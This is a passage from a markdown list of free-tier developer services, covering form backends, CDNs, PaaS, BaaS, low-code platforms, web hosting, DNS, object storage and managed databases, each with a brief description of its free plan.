* [Bunny Fonts](https://fonts.bunny.net/) - All the Google Fonts with Google Fonts drop-in compatible API. Privacy oriented!.
* [Bunny DNS](https://bunny.net/dns/) - DNS hosting, 20 million free queries
* [FontsKey](https://www.fontskey.com/) - Provides free fonts for personal use and commercial paid fonts, and can enter text for quick filtering.
**[⬆️ Back to Top](#table-of-contents)**
## Forms
* [Feathery](https://feathery.io) - Powerful, developer-friendly form builder. Build signup & login, user onboarding, payment flows, complex financial applications, and more. Free plan allows up to 250 submissions / month and 5 active forms.
* [Form-Data](https://form-data.com) - No-code forms backend. Spam filter, email notification and auto-respond, webhooks, zapier, redirects, AJAX or POST and more. Free plan offers unlimited forms, 20 submissions/month and additional 2000 submissions with Form-Data badge.
* [FabForm](https://fabform.io/) - Form backend platform for smart developers. Free plan allows 250 form submissions per month. Friendly modern GUI. Integrates with Google Sheets, Airtable, Slack, Email and others.
* [Form.taxi](https://form.taxi/) — Endpoint for HTML forms submissions. With notifications, spam blocker and GDPR-compliant data processing. Free plan for basic usage.
* [Formcake.com](https://formcake.com) - Form backend for devs, free plan allows unlimited forms, 100 submissions, Zapier integration. No libraries or dependencies required.
* [Formcarry.com](https://formcarry.com) - HTTP POST Form endpoint, Free plan allows 100 submissions per month.
* [formingo.co](https://www.formingo.co/)- Easy HTML forms for static websites, get started for free without registering an account. Free plan allows 500 submissions per month, customizable reply-to email address.
* [FormKeep.com](https://www.formkeep.com/) - Unlimited forms with 50 submissions per month, spam protection, email notification and a drag and drop designer that can export HTML. Additional features include custom field rules, teams and integrations to Google Sheets, Slack, ActiveCampaign and Zapier.
* [formlets.com](https://formlets.com/) — Online forms, unlimited single page forms/month, 100 submissions/month, email notifications.
* [formspark.io](https://formspark.io/) - Form to Email service, free plan allows unlimited forms, 250 submissions per month, support by Customer assistance team.
* [Formspree.io](https://formspree.io/) — Send email using an HTTP POST request. Free tier limits to 50 submissions per form per month.
* [Formsubmit.co](https://formsubmit.co/) — Easy form endpoints for your HTML forms. Free Forever. No registration required.
* [getform.io](https://getform.io/) - Form backend platform for designers and developers, 1 form, 50 submissions, Single file upload, 100MB file storage.
* [HeroTofu.com](https://herotofu.com/) - Forms backend with bot detection and encrypted archive. Forward submissions via UI to email, Slack, or Zapier. Use your own frontend, no server code required. Free plan gives unlimited forms and 100 submissions per month.
* [HeyForm.net](https://heyform.net/) - Drag and drop online form builder. Free tier lets you create unlimited forms and collect unlimited submissions. Comes with pre-built templates, anti-spam, and 100MB file storage.
* [Tally.so](https://tally.so/) - 99% of all the features are totally free. Free tier lets you have these: unlimited forms, unlimited submissions, email notifications, form logic, collect payments, file upload, custom thank you page, and many more.
* [Hyperforms.app](https://hyperforms.app/) — Create form to email and more in seconds and without backend code. The Personal account gives you up to 50 form submissions per month for free.
* [Kwes.io](https://kwes.io/) - Feature rich form endpoint. Works great with static sites. Free plan includes up 1 website with up to 50 submissions per month.
* [Pageclip](https://pageclip.co/) - Free plan allows one site, one form, 1,000 submissions per month.
* [Qualtrics Survey](https://qualtrics.com/free-account) — Create professional forms & survey using this first class tool. 50+ expert-designed survey templates. Free Account has limit of 1 active survey, 100 responses/survey & 8 response types.
* [smartforms.dev](https://smartforms.dev/) - Powerful and easy form backend for your website, forever free plan allows 50 submissions per month, 250MB file storage, Zapier integration, CSV/JSON export, custom redirect, custom response page, Telegram & Slack bot, single email notifications.
* [staticforms.xyz](https://www.staticforms.xyz/) - Integrate HTML forms easily without any server side code for free. After user submits the form an email will be sent to your registered address with form content.
* [stepFORM.io](https://stepform.io) - Quiz and Form Builder. Free plan has 5 forms, up to 3 steps per form, 50 responses per month.
* [Typeform.com](https://www.typeform.com/) — Include beautifully designed forms on websites. Free plan allows only 10 fields per form and 100 responses per month.
* [WaiverStevie.com](https://waiverstevie.com) - Electronic Signature platform with a REST API. Receive notifications with webhooks. Free plan watermarks signed documents, but allows unlimited envelopes + signatures.
* [Web3Forms](https://web3forms.com) - Contact forms for Static & JAMStack Websites without writing backend code. Free plan allows Unlimited Forms, Unlimited Domains & 250 Submissions per month.
* [WebAsk](https://webask.io) - Survey and Form Builder. Free plan has 3 surveys per account, 100 responses per month, 10 elements per survey.
* [Wufoo](https://www.wufoo.com/) - Quick forms to use on websites. Free plan has a limit of 100 submissions each month.
* [formpost.app](https://formpost.app) - Free, unlimited Form to Email service. Setup custom redirect, auto response, webhooks etc for free.
* [Formester.com](https://formester.com) - Share and embed unique-looking forms on your website—no limits on the number of forms created or features restricted by the plan. Get up to 100 submissions every month for free.
* [SimplePDF.eu](https://simplepdf.eu/embed) - Embed a PDF editor on your website and turn any PDF into a fillable form. Free plan allows unlimited PDFs with 3 submissions per PDF.
**[⬆️ Back to Top](#table-of-contents)**
## CDN and Protection
* [bootstrapcdn.com](https://www.bootstrapcdn.com/) — CDN for bootstrap, bootswatch and fontawesome.io
* [cdnjs.com](https://cdnjs.com/) — Simple. Fast. Reliable. Content delivery at its finest. cdnjs is a free and open-source CDN service trusted by over 11% of all websites, powered by Cloudflare.
* [Cloudflare](https://www.cloudflare.com/)
* CDN along with free SSL
* Free DNS for unlimited number of domains
* Firewall rules and pagerules
* Analytics
* Email forwarding
* Free Unmetered Rate Limiting - 1 rule per domain
* [Cloudflare Pages](https://pages.cloudflare.com/) — Free web hosting (JAMstack platform) for frontend developers to collaborate and deploy websites. 1 build at a time, 500 builds/month, unlimited sites, unlimited requests, unlimited bandwidth.
* [Cloudflare Workers](https://workers.cloudflare.com/) — Deploy serverless code for free on Cloudflare's global network. 100,000 free requests per day with a workers.dev subdomain.
* [Cloudflare Tunnel](https://www.cloudflare.com/products/tunnel/) - You can expose locally running HTTP port over a tunnel to a random subdomain on trycloudflare.com use [Quick Tunnels](https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/run-tunnel/trycloudflare), No account required. More feature (TCP tunnel, Load balancing , VPN) in [Zero Trust](https://www.cloudflare.com/products/zero-trust/) Free Plan.
* [developers.google.com](https://developers.google.com/speed/libraries/) — The Google Hosted Libraries is a content distribution network for the most popular, Open Source JavaScript libraries
* [Stellate](https://stellate.co/) - Stellate is blazing fast, reliable CDN for your GraphQL API and Free for 2 services.
* [jsdelivr.com](https://www.jsdelivr.com/) — A free, fast, and reliable CDN for open source. Supports npm, GitHub, WordPress, Deno, and more.
* [Microsoft Ajax](https://docs.microsoft.com/en-us/aspnet/ajax/cdn/overview) — The Microsoft Ajax CDN hosts popular third-party JavaScript libraries such as jQuery and enables you to easily add them to your Web application
* [ovh.ie](https://www.ovh.ie/ssl-gateway/) — Free DDoS protection and SSL certificate
* [PageCDN.com](https://pagecdn.com/) - Offers free Public CDN for everyone, and free Private CDN for opensource / nonprofits.
* [Skypack](https://www.skypack.dev/) — The 100% Native ES Module JavaScript CDN. Free for 1 million requests per domain, per month.
* [raw.githack.com](https://raw.githack.com/) — A modern replacement of **rawgit.com** which simply hosts file using Cloudflare
* [section.io](https://www.section.io/) — A simple way to spin up and manage a complete Varnish Cache solution. Supposedly free forever for one site
* [statically.io](https://statically.io/) — CDN for Git repos (GitHub, GitLab, Bitbucket), WordPress-related assets and images
* [toranproxy.com](https://toranproxy.com/) — Proxy for Packagist and GitHub. Never fail CD. Free for personal use, 1 developer, no support
* [UNPKG](https://unpkg.com/) — CDN for everything on npm
* [weserv](https://images.weserv.nl/) — An image cache & resize service. Manipulate images on-the-fly with a worldwide cache.
* [Namecheap Supersonic](https://www.namecheap.com/supersonic-cdn/#free-plan) — Free DDoS protection
* [Gcore](https://gcorelabs.com/)
* [CDN](https://gcorelabs.com/cdn/) — Global content delivery network, 1 TB and 1 million requests per month free.
* [DNS Hosting](https://gcorelabs.com/dns/) — Free DNS hosting.
**[⬆️ Back to Top](#table-of-contents)**
## PaaS
* [anvil.works](https://anvil.works) - Web app development with nothing but Python. Free tier with unlimited apps, 30 second timeouts.
* [configure.it](https://www.configure.it/) — Mobile app development platform, free for 2 projects, limited features but no resource limits
* [codenameone.com](https://www.codenameone.com/) — Open source, cross platform, mobile app development toolchain for Java/Kotlin developers. Free for commercial use with unlimited number of projects
* [Cosmonic](https://cosmonic.com) - Feature rich WebAssembly PaaS and SDKs for low boilerplate, flexible, and secure by default microservices. Always free tier includes a managed host, 25 microservices, and included capabilities like a robust keyvalue store, load balanced public HTTP endpoints, and more.
* [Cyclic](https://www.cyclic.sh) - Fullstack app hosting - Push to Github for build and deploy of Javascript/Node.js apps. Includes: Authentication, Cron jobs, Custom Domains, Database, Storage and Streaming logs. Paid plans include: branch based environments, multi-regional deployments and increased limits.
* [Deno Deploy](https://deno.com/deploy) - Distributed system that runs JavaScript, TypeScript, and WebAssembly at the edge, worldwide. Free tier includes 100,000 requests per day and 100 GiB data transfer per month.
* [domcloud.co](https://domcloud.co) – Linux hosting service that also provides CI/CD with GitHub, SSH and MariaDB/Postgres database. Free version has 1 GB storage and 1 GB network/month limit and limited to a free domain.
* [encore.dev](https://encore.dev/) — Backend framework using static analysis to provide automatic infrastructure, boilerplate free code, and more. Includes free cloud hosting for hobby projects.
* [gigalixir.com](https://gigalixir.com/) - Gigalixir provide 1 free instance that never sleeps, and free-tier PostgreSQL database limited to 2 connections, 10, 000 rows and no backups, for Elixir/Phoenix apps.
* [Glitch](https://glitch.com/) — Free public hosting with features such as code sharing and real-time collaboration. Free plan has 1000 hours/month limit.
* [Mendix](https://www.mendix.com/) — Rapid Application Development for Enterprises, unlimited number of free sandbox environments supporting unlimited users, 0.5 GB storage and 1 GB RAM per app. Also Studio and Studio Pro IDEs are allowed in free tier.
* [m3o.com](https://m3o.com) - A cloud platform for API services development. M3O is a fully managed Micro as a Service offering focusing on Go microservices development in the Cloud. Free tier provides enough to run 5 services and collaborate with others.
* [pipedream.com](https://pipedream.com) - An integration platform built for developers. Develop any workflow, based on any trigger. Workflows are code, which you can run [for free](https://docs.pipedream.com/pricing/). No server or cloud resources to manage.
* [pythonanywhere.com](https://www.pythonanywhere.com/) — Cloud Python app hosting. Beginner account is free, 1 Python web application at your-username.pythonanywhere.com domain, 512 MB private file storage, one MySQL database
* [Serverless Cloud](https://www.serverless.com/cloud) - Serverless Cloud lets you build Serverless APIs, DBs and Storage by using infrastrucure _from_ code approach(no yaml, no infrastructure configuration). The product is provided by Serverless Inc. and currently under public preview.
* [fly.io](https://fly.io/) - Fly is a platform for applications that need to run globally. It runs your code close to users and scales compute in cities where your app is busiest. Write your code, package it into a Docker image, deploy it to Fly's platform and let that do all the work to keep your app snappy. Free allowances include up to 3 shared-cpu-1x 256mb VMs, 3GB persistent volume storage (total) and 160GB outbound data transfer.
* [Divio](https://www.divio.com/) - A platform to manage cloud application deploying only using Docker. Available free subscription for development projects. Requires card and no custom domain support.
* [Koyeb](https://www.koyeb.com) - Koyeb is a developer-friendly serverless platform to deploy apps globally. Seamlessly run Docker containers, web apps, and APIs with git-based deployment, native autoscaling, a global edge network, and built-in service mesh and discovery. Koyeb provides two nano services to run your apps with its forever-free tier and also sponsors open-source projects with free resources. The free plan requires card information.
* [Napkin](https://www.napkin.io/) - FaaS with 500Mb of memory, a default timeout of 15 seconds and 5,000 free API calls/month, rate-limited to 5 calls/second.
* [Meteor Cloud](https://www.meteor.com/cloud) — Galaxy hosting. Meteor's own platform-as-a-service for Meteor apps which includes a free MongoDB Shared Hosting and automatic SSL.
* [Northflank](https://northflank.com) — Build and deploy microservices, jobs and managed databases with a powerful UI, API & CLI. Seamlessly scale containers from version control and external Docker registries. Free tier includes 2 services, 2 cron jobs and 1 database.
* [YepCode](https://yepcode.io) - All-in-one platform to connect APIs and services in a serverless environment. It brings all the agility and benefits of NoCode tools, but with all the power of use programming languages. Free tier includes [1.000 yeps](https://yepcode.io/pricing/).
* [WunderGraph](https://cloud.wundergraph.com) - An open source platform that allows you to quickly build, ship and manage modern APIs. Builtin CI/CD, GitHub integration, automatic HTTPS. Up to 3 projects, 1GB egress, 300 minutes of build time per month on the [free plan](https://wundergraph.com/pricing)
* [Doprax Cloud](https://www.doprax.com) — Cloud hosting for your Apps, Websites and APIs. Free for one app, with 4 * 256MB ram and 2 GB of disk. To create an app space, you need to have at least $3 in your account credit balance.
* [Zeabur](https://zeabur.com) - Deploy your services with one click. Free for 3 services, with US$ 5 free credits per month.
**[⬆️ Back to Top](#table-of-contents)**
## BaaS
* [Activepieces](https://www.activepieces.com) - Build automation flows to connect several apps together in the backend of your app. For example, when an event fires in your app, send a Slack message or add a Google Sheet row. Free up to 5,000 tasks per month.
* [back4app.com](https://www.back4app.com) - Back4App is an easy-to-use, flexible and scalable backend based on Parse Platform.
* [backendless.com](https://backendless.com/) — Mobile and Web Baas, with 1 GB file storage free, push notifications 50000/month, and 1000 data objects in table.
* [BMC Developer Program](https://developers.bmc.com/site/global/bmc_helix_platform/program/overview/index.gsp) — The BMC Developer Program provides documentation and resources to build and deploy digital innovations for your enterprise. Access to a comprehensive, personal sandbox which includes the platform, SDK, and a library of components that can be used to build and tailor apps.
* [convex.dev](https://convex.dev/) - Reactive backend as a service, hosting your data (documents with relationships & serializable ACID transactions), serverless functions, and websockets to stream updates to various clients. Free for small projects - up to 1M records, 5M function calls per month.
* [darklang.com](https://darklang.com/) - Hosted language combined with editor and infrastructure. Free during the beta, generous free tier planned after beta.
* [Firebase](https://firebase.com) — Firebase helps you build and run successful apps. Free Spark Plan offers Authentication, Hosting, Firebase ML , Realtime Database,Cloud Storage,Testlab. A/B Testing, Analytics, App Distribution, App Indexing, Cloud Messaging (FCM), Crashlytics, Dynamic Links, In-App Messaging, Performance Monitoring, Predictions, and Remote Config are always-free.
* [Flutter Flow](https://flutterflow.io) — Build your Flutter App UI without writing a single line of code. Also has a Firebase integration. Free plan includes full access to UI Builder and Free templates.
* [getstream.io](https://getstream.io/) — Build scalable newsfeeds, activity streams, chat and messaging in a few hours instead of weeks
* [hasura.io](https://hasura.io/) — Hasura extends your existing databases wherever it is hosted and provides an instant GraphQL API that can be securely accessed for web, mobile, and data integration workloads. Free for 1GB/month of data pass-through.
* [iron.io](https://www.iron.io/) — Async task processing (like AWS Lambda) with free tier and 1-month free trial
* [nhost.io](https://nhost.io) - Serverless backend for web and mobile apps. Free plan includes: PostgreSQL, GraphQL (Hasura), Authentication, Storage, and Serverless Functions.
* [nudge-hook.net](https://nudge-hook.net/client) — Job Scheduling API (with swagger/openapi client). Allows you to schedule as many adhoc/cron/periodic webhook deliveries as you like. Free for everyone (no signup required), but infinite schedules are limited to 500 'nudges' max. Accepts donations.
* [onesignal.com](https://onesignal.com/) — Unlimited free push notifications
* [paraio.com](https://paraio.com) — Backend service API with flexible authentication, full-text search and caching. Free for 1 app, 1GB app data.
* [progress.com](https://www.progress.com/kinvey) — Mobile backend, starter plan has unlimited requests/second, with 1 GB of data storage. Enterprise application support
* [pubnub.com](https://www.pubnub.com/) — Free push notifications for up to 1 million messages/month and 100 active daily devices
* [pushbots.com](https://pushbots.com/) — Push notification service. Free for up to 1.5 million pushes/month
* [pushcrew.com](https://pushcrew.com/) — Push notification service. Unlimited notifications up to 2000 Subscribers
* [pusher.com](https://pusher.com/beams) — Free, unlimited push notifications for 2000 monthly active users. A single API for iOS and Android devices.
* [engagespot.co](https://engagespot.co/) — Notification infrastructure for developers. Free for upto 100 monthly active users.
* [pushtechnology.com](https://www.pushtechnology.com/) — Real-time Messaging for browsers, smartphones and everyone. 100 concurrent connections. Free 10 GB data/month
* [quickblox.com](https://quickblox.com/) — A communication backend for instant messaging, video and voice calling and push notifications
* [restspace.io](https://restspace.io/) - Configure a server with services for auth, data, files, email API, templates etc, then compose into pipelines and transform data.
* [Salesforce Developer Program](https://developer.salesforce.com/signup) — Build apps Lightning fast with drag and drop tools. Customize your data model with clicks. Go further with Apex code. Integrate with anything using powerful APIs. Stay protected with enterprise-grade security. Customize UI with clicks or any leading-edge web framework. Free Developer Program gives access to the full Lightining Platform.
* [ServiceNow Developer Program](https://developer.servicenow.com/) — Rapidly build, test, and deploy applications that make work better for your organization. Free Instance & access early previews.
* [simperium.com](https://simperium.com/) — Move data everywhere instantly and automatically, multi-platform, unlimited sending and storage of structured data, max. 2,500 users/month
* [stackstorm.com](https://stackstorm.com/) — Event-driven automation for apps, services and workflows, free without flow, access control, LDAP,...
* [streamdata.io](https://streamdata.io/) — Turns any REST API into an event-driven streaming API. Free plan up to 1 million messages and 10 concurrent connections.
* [Supabase](https://supabase.com) — The Open Source Firebase Alternative to build backends. Free Plan offers Authentication, Realtime Database & Object Storage.
* [tyk.io](https://tyk.io/) — API management with authentication, quotas, monitoring and analytics. Free cloud offering
* [zapier.com](https://zapier.com/) — Connect the apps you use, to automate tasks. 5 zaps, every 15 minutes and 100 tasks/month
* [LeanCloud](https://leancloud.app/) — Mobile backend. 1GB of data storage, 256MB instance, 3K API requests/day, 10K pushes/day are free. (API is very similar to Parse Platform)
**[⬆️ Back to Top](#table-of-contents)**
## Low-code Platform
* [BudiBase](https://budibase.com/) — Budibase is an open-source low-code platform for creating internal apps in minutes. Supports PostgreSQL, MySQL, MSSQL, MongoDB, Rest API, Docker, K8s
* [appsmith](https://www.appsmith.com/) — Low code project to build admin panels, internal tools, and dashboards. Integrates with 15+ databases and any API.
* [ToolJet](https://www.tooljet.com/) — Extensible low-code framework for building business applications. Connect to databases, cloud storages, GraphQL, API endpoints, Airtable, etc and build apps using drag and drop application builder.
* [ReTool](https://retool.com/) — Low-code platform for building internal applications. Retool is highly hackable. If you can write it with JavaScript and an API, you can build it in Retool. The free tier allows up to five users per month, unlimited apps and API connections.
* [DronaHQ](https://www.dronahq.com/) — DronaHQ - a low code platform helps engineering teams and product managers to build internal tools, custom user journeys, digital experiences, automations, custom admin panels, operational apps 10X faster.
* [ILLA Cloud](https://www.illacloud.com/) — ILLA Cloud - A robust open source low-code platform for developers to build internal tools. By using ILLA's library of Components and Actions, developers can save massive amounts of time on building tools. Free for 5 team members.
* [outsystems.com](https://www.outsystems.com/) — Enterprise web development PaaS for on-premise or cloud, free "personal environment" offering allows for unlimited code and up to 1 GB database
**[⬆️ Back to Top](#table-of-contents)**
## Web Hosting
* [Alwaysdata](https://www.alwaysdata.com/) — 100 MB free web hosting with support for MySQL, PostgreSQL, CouchDB, MongoDB, PHP, Python, Ruby, Node.js, Elixir, Java, Deno, custom web servers, access via FTP, WebDAV and SSH; mailbox, mailing list and app installer included.
* [Awardspace.com](https://www.awardspace.com) — Free web hosting + a free short domain, PHP, MySQL, App Installer, Email Sending & No Ads.
* [Bubble](https://bubble.io/) — Visual programming to build web and mobile apps without code, free with Bubble branding.
* [DigitalOcean](https://www.digitalocean.com/pricing) - Build and deploy 3 static sites for free on the App Platform Starter tier.
* [Drive To Web](https://drv.tw) — Host directly to the web from Google Drive & OneDrive. Static sites only. Free forever. One site per Google/Microsoft account.
* [DuckDocs](https://duckdocs.com) - Markdown-powered documentation hosting, sort of like a hosted Docusaurus. Free for 10 pages per site.
* [Fenix Web Server](https://preview.fenixwebserver.com) - A developer desktop app for hosting sites locally and sharing them publically (in realtime). Work however you like, using its beautiful user interface, API, and/or CLI.
* [Free Hosting](https://freehostingnoads.net/) — Free Hosting With PHP 5, Perl, CGI, MySQL, FTP, File Manager, POP E-Mail, free sub-domains, free domain hosting, DNS Zone Editor, Web Site Statistics, FREE Online Support and many more features not offered by other free hosts.
* [Freehostia](https://www.freehostia.com) — FreeHostia offers free hosting services incl. an industry-best Control Panel & a 1-click installation of 50+ free apps. Instant setup. No forced ads.
* [HelioHost](https://heliohost.org) — Non-profit free web hosting with Plesk control panel, PHP, Node.js, Python, Django, Flask, .NET, Perl, CGI, MySQL, PostgreSQL, SQLite, IMAP/POP3/SMTP email, unlimited bandwidth, free subdomains, 1000 MB storage for free with the option to upgrade.
* [Lecturify](https://www.lecturify.net/index.en.html) - Web hosting with sftp access for file upload and download, php available.
* [Neocities](https://neocities.org) — Static, 1 GB free storage with 200 GB Bandwidth.
* [Netlify](https://www.netlify.com/) — Builds, deploy and hosts static site/app free for, 100 GB data and 100 GB/month bandwidth.
* [pantheon.io](https://pantheon.io/) — Drupal and WordPress hosting, automated DevOps and scalable infrastructure. Free for developers and agencies. No custom domain.
* [readthedocs.org](https://readthedocs.org/) — Free documentation hosting with versioning, PDF generation and more
* [render.com](https://render.com) — Unified cloud to build and run apps and sites with free SSL, a global CDN, private networks, auto-deploys from Git, and completely free plans for web services, databases, and static web pages.
* [SourceForge](https://sourceforge.net/) — Find, Create and Publish Open Source software for free
* [Stormkit](https://stormkit.io/) — Integrate building, deploying and hosting seamlessly with your git flow of your JAMStack or Node.JS app. 50 GB bandwith and 10m requests for free per month including free SSL.
* [surge.sh](https://surge.sh/) — Static web publishing for Front-End developers. Unlimited sites with custom domain support
* [telegra.ph](https://telegra.ph/) Easily create web page using Quill
* [tilda.cc](https://tilda.cc/) — One site, 50 pages, 50 MB storage, only the main pre-defined blocks among 170+ available, no fonts, no favicon and no custom domain
* [Vercel](https://vercel.com/) — Build, deploy, and host web apps with free SSL, global CDN, and unique Preview URLs each time you `git push`. Perfect for Next.js and other Static Site Generators.
* [Versoly](https://versoly.com/) — SaaS focussed website builder - unlimited websites, 70+ blocks, 5 templates, custom CSS, favicon, SEO and forms. No custom domain.
* [Qoddi](https://qoddi.com) - PaaS service similar to Heroku with a developer-centric approach and all inclusive features. Free tier for static assets, staging and developer apps.
* [FreeFlarum](https://freeflarum.com/) - Community powered free Flarum hosting for up to 250 users (donate to remove watermark from footer).
* [fleek.co](https://fleek.co/) - Build modern sites and apps on the Open Web and its protocols seamlessly free for, unlimited websites and 50 GB/month bandwidth.
* [MDB GO](https://mdbgo.com/) - Free hosting for 1 project with 2 weeks Container TTL, 500mb RAM per project, SFTP - 1G disk space.
* [Patr Cloud](https://patr.cloud/) — An easy-to-use cloud platform, among its paid services it offers hosting 3 static sites for free.
* [Serv00.com](https://serv00.com/) — 3 GB of free web hosting with daily backups (7 days). Support: Crontab jobs, SSH access, repositories (GIT, SVN, and Mercurial), support: MySQL, PostgreSQL, MongoDB, PHP, Node.js, Python, Ruby, Java, Perl, TCL/TK, Lua, Erlang, Rust, Pascal, C, C++, D, R, and many more.
**[⬆️ Back to Top](#table-of-contents)**
## DNS
* [1.1.1.1](https://developers.cloudflare.com/1.1.1.1/) - Free public DNS Resolver which is fast and secure (encrypt your DNS query), provided by CloudFlare. Useful to bypass your internet provider's DNS blocking, prevent DNS query spying, and [to block adult & malware content](https://developers.cloudflare.com/1.1.1.1/1.1.1.1-for-families). Can also be used [via API](https://developers.cloudflare.com/1.1.1.1/encrypted-dns/dns-over-https/make-api-requests). Note: Just a DNS resolver, not a DNS hoster.
* [1984.is](https://www.1984.is/product/freedns/) — Free DNS service with API, and lots of other free DNS features included.
* [cloudns.net](https://www.cloudns.net/) — Free DNS hosting up to 1 domain with 50 records
* [dns.he.net](https://dns.he.net/) — Free DNS hosting service with Dynamic DNS Support
* [Zonomi](https://zonomi.com/) — Free DNS hosting service with instant DNS propagation. Free plan: 1 DNS zone (domain name) with up to 10 DNS records.
* [dnspod.com](https://www.dnspod.com/) — Free DNS hosting.
* [duckdns.org](https://www.duckdns.org/) — Free DDNS with up to 5 domains on the free tier. With configuration guides for various setups.
* [freedns.afraid.org](https://freedns.afraid.org/) — Free DNS hosting. Also provide free subdomain based on numerous public user [contributed domains](https://freedns.afraid.org/domain/registry/). Get free subdomains from "Subdomains" menu after signing up.
* [luadns.com](https://www.luadns.com/) — Free DNS hosting, 3 domains, all features with reasonable limits
* [namecheap.com](https://www.namecheap.com/domains/freedns/) — Free DNS. No limit on number of domains
* [nextdns.io](https://nextdns.io) - DNS based firewall, 300K free queries monthly
* [noip](https://www.noip.com/) — a dynamic dns service that allows up to 3 hostnames free with confirmation every 30 days
* [sslip.io](https://sslip.io/) — Free DNS service that when queried with a hostname with an embedded IP address returns that IP address.
* [zilore.com](https://zilore.com/en/dns) — Free DNS hosting, free for 5 domains.
* [zoneedit.com](https://www.zoneedit.com/free-dns/) — Free DNS hosting with Dynamic DNS Support.
* [zonewatcher.com](https://zonewatcher.com) — Automatic backups and DNS change monitoring. 1 domain free
* [huaweicloud.com](https://www.huaweicloud.com/intl/en-us/product/dns.html) – Free DNS hosting by Huawei
* [Hetzner](https://www.hetzner.com/dns-console) – Free DNS hosting from Hetzner with API support.
* [Glauca](https://docs.glauca.digital/hexdns/) – Free DNS hosting for up to 3 domains and DNSSEC support
**[⬆️ Back to Top](#table-of-contents)**
## Domain
* [eu.org](https://nic.eu.org) — Free eu.org domain. Request is usually approved in 14 days.
* [pp.ua](https://nic.ua/) — Free pp.ua subdomains.
**[⬆️ Back to Top](#table-of-contents)**
## IaaS
* [backblaze.com](https://www.backblaze.com/b2/) — Backblaze B2 cloud storage. Free 10 GB (Amazon S3-like) object storage for unlimited time
* [filebase.com](https://filebase.com/) - S3 Compatible Object Storage Powered by Blockchain. 5 GB free storage for unlimited duration.
* [scaleway](https://www.scaleway.com/en/object-storage/) — S3-Compatible Object Storage. Free 75 GB storage and external outgoing traffic(credit card required).
* [Storj](https://storj.io/) — Decentralised Private Cloud Storage for Apps and Developers. Free plan provides 1 Project, 25 GB storage, 25 GB bandwidth per month.
* [Tebi](https://tebi.io/) - S3 compatibility object storage.Free 25 GB storage and 250GB outbound transfer.
* [Idrive e2](https://www.idrive.com/e2/) - S3 compatibility object storage. 10 GB free storage and 10 GB download bandwidth per month.
* [C2 Object Storage](https://c2.synology.com/en-us/pricing/object-storage) - S3 compatibility object storage. 15 GB free storage and 15 GB download per month.
* [Spheron](https://spheron.network/) — From Decentralised Cloud Storage, Web Hosting to Decentralised Compute for Apps & Developers under one platform, the Free plan provides 5GB Storage, 100GB Bandwidth, Unlimited Domain & Projects, $5 worth of Compute resources (Worth $50 w.r.t AWS).
**[⬆️ Back to Top](#table-of-contents)**
## Managed Data Services
* [Aiven](https://aiven.io/) - Aiven offers free PostgreSQL, MySQL and Redis plans on its open source data platform. Single node, 1 CPU, 1GB RAM and for PostgreSQL and MySQL, 5GB storage. Easy migration to larger plans or across clouds.
* [airtable.com](https://airtable.com/) — Looks like a spreadsheet, but it's a relational database, unlimited bases, 1,200 rows/base and 1,000 API requests/month
* [Astra](https://www.datastax.com/products/datastax-astra/) — Cloud Native Cassandra as a Service with [80GB free tier](https://www.datastax.com/products/datastax-astra/pricing)
* [codehooks.io](https://codehooks.io/) — JavaScript serverless API/backend and database service with functions, Mongdb-ish queries, key/value lookups, a job system and a message queue. 1 instance free per project, 5000 records and 5000 calls/month free, 3 developers included. No credit-card required.
* [CrateDB](https://crate.io/) - Distributed Open Source SQL database for real-time analytics. [Free Tier CRFREE](https://crate.io/lp-crfree): One-node with 2 CPUs, 2 GiB of memory, 8 GiB of storage. 1 cluster per organization, no payment method needed.
* [elephantsql.com](https://www.elephantsql.com/) — PostgreSQL as a service, 20 MB free
* [FaunaDB](https://fauna.com/) — Serverless cloud database, with native GraphQL, multi-model access and daily free tiers up to 100 MB
* [HarperDb](https://harperdb.io/) — Serverless cloud database, with dynamic schema based on JSON, 3000 IOPS with 1GB storage
* [Upstash](https://upstash.com/) — Serverless Redis with free tier up to 10,000 requests per day, 256MB max database size, and 20 concurrent connections
* [MongoDB Atlas](https://www.mongodb.com/cloud/atlas) — free tier gives 512 MB
* [redsmin.com](https://www.redsmin.com/) — Online real-time monitoring and administration service for Redis, Monitoring for 1 Redis instance free
* [redislabs](https://redislabs.com/try-free/) - Free 30MB redis instance
* [MemCachier](https://www.memcachier.com/) — Managed Memcache service. Free for up to 25MB, 1 Proxy Server and basic analytics
* [scalingo.com](https://scalingo.com/) — Primarily a PaaS but offers a 128MB to 192MB free tier of MySQL, PostgreSQL or MongoDB
* [SeaTable](https://seatable.io/) — Flexible, Spreadsheet-like Database built by Seafile team. unlimited tables, 2,000 lines, 1-month versioning, up to 25 team members.
* [skyvia.com](https://skyvia.com/) — Cloud Data Platform, offers free tier and all plans are completely free while in beta
* [StackBy](https://stackby.com/) — One tool that brings together flexibility of spreadsheets, power of databases and built-in integrations with your favorite business apps. Free plan includes unlimited users, 10 stacks, 2GB attachment per stack.
* [TiDB Cloud](https://en.pingcap.com/tidb-cloud/) — TiDB is an open source MySQL compatible distributed HTAP RDBMS. TiDB Serverless provides 5GB of row storage, and 5GB of column storage, and 50 million Request Units (RUs) available for free each month.
* [Turso by ChiselStrike](https://chiselstrike.com/) - Turso is SQLite Developer Experience in an Edge Database. Turso provides Free Forever starter plan, 8 GB of total storage, Up to 3 databases, Up to 3 locations, 1 billion row reads per month, and Local development support with SQLite.
* [InfluxDB](https://www.influxdata.com/) — Timeseries database, free up to 3MB/5 minutes writes, 30MB/5 minutes reads and 10,000 cardinalities series
* [restdb.io](https://restdb.io/) - a fast and simple NoSQL cloud database service. With restdb.io you get schema, relations, automatic REST API (with MongoDB-like queries) and an efficient multi-user admin UI for working with data. Free plan allows 3 users, 2500 records and 1 API requests per second.
* [cockroachlabs.com](https://www.cockroachlabs.com/free-tier/) — Free CockroachDB up to 5GB and 1vCPU (limited [request units](https://www.cockroachlabs.com/docs/cockroachcloud/serverless-faqs.html#what-are-the-usage-limits-of-cockroachdb-serverless-beta))
* [Neo4j Aura](https://neo4j.com/cloud/aura/) — Managed native Graph DBMS / analytics platform with a Cypher query language and a REST API. Limits on graph size (50k nodes, 175k relationships).
* [Neon](https://neon.tech/) — Managed PostgreSQL, 10 branches, 3 GB of storage per branch, no limit on Active time for the primary branch compute, 100 hours of Active time per month (total) for non-primary branch computes.
* [Dgraph Cloud](https://cloud.dgraph.io/pricing?type=free) — Managed native Graph DBMS with a GraphQL API. Limited to 1 MB data transfer per day.
